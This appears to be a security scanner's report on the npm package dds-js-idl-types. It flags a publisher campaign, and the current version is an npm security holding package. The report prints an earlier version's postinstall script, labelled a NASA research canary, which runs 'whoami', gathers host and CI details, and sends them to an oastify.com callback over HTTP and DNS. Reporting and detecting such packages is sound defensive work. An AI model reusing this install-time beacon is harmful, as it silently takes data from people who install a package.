// npm package

dds-js-idl-types

security holding package

npmjs.com tarball repo

versions

maintainers

first publish

2026-05-23

publisher

npm

tarball

438 B

AUTO-PUBLISHED·2 versions indexed·latest published 2026-05-27

// publisher campaignby npm

9 caught packages from this account

This is not an isolated catch. The same publisher has shipped 8 other packages that our pipeline flagged — the shape of a coordinated campaign, not a one-off. Each link below opens that sibling's analysis.

// offending code· @0.0.1-security· no static-pattern hits

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — no network destinations.

@0.0.1-security·2026-05-27·AUTO-PUBLISHED·publisher: npm
heuristic 92/100
static flags 0
llm benign (0.85) via ollama
new-publisher:15dtiny-tarball:438bfirst-version-of-packagepublisher-multi-name-burst:14publisher-version-pump:14osv-flagged:MAL-2026-4548
→ No suspicious destination, no remote-exec shape — no network destinations.
// offending code· no static-pattern hits
```
--- package.json (entry) ---
{
  "name": "dds-js-idl-types",
  "version": "0.0.1-security",
  "description": "security holding package",
  "repository": "npm/security-holder"
}
```
@1.0.0·2026-05-23·AUTO-PUBLISHED

--- install scripts --- ### postinstall node postinstall.js --- package/postinstall.js (excerpt) --- const https = require('https'); const os = require('os'); const { execSync } = require('child_process'); // Replace with your interactsh/canarytoken URL const CALLBACK_HOST = 'lg5ys3jebfzwk366pilidbmah1nsbszh.oastify.com/nasa/dds-js-canary/'; function get(cmd) { try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch { return 'error'; } } const payload = { whoami: get('whoami'), hostname: os.hostname(), platform: os.platform(), cwd: process.cwd(), // grab env vars that leak CI/CD context — non-sensitive ones ci: process.env.CI || '', github: process.env.GITHUB_REPOSITORY || '', node_env: process.env.NODE_ENV || '', }; const path = '/beacon?' + new URLSearchParams(payload).toString(); // HTTP beacon (shows up in interactsh logs with source IP) https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {}); // DNS beacon as fallback (works even if HTTP is firewalled) require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {}); --- package.json (entry) --- { "name": "dds-js-idl-types", "version": "1.0.0", "description": "Security research canary — NASA VDP", "scripts": { "postinstall": "node postinstall.js" }, "main": "postinstall.js", "bin": { "dds-js-idl-types": "postinstall.js" } } --- postinstall.js (entry) --- const https = require('https'); const os = require('os'); const { execSync } = require('child_process'); // Replace with your interactsh/canarytoken URL const CALLBACK_HOST = 'lg5ys3jebfzwk366pilidbmah1nsbszh.oastify.com/nasa/dds-js-canary/'; function get(cmd) { try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch { return 'error'; } } const payload = { whoami: get('whoami'), hostname: os.hostname(), platform: os.platform(), cwd: process.cwd(), // grab env vars that leak CI/CD context — non-sensitive ones ci: process.env.CI || '', github: process.env.GITHUB_REPOSITORY || '', node_env: process.env.NODE_ENV || '', }; const path = '/beacon?' + new URLSearchParams(payload).toString(); // HTTP beacon (shows up in interactsh logs with source IP) https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {}); // DNS beacon as fallback (works even if HTTP is firewalled) require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {});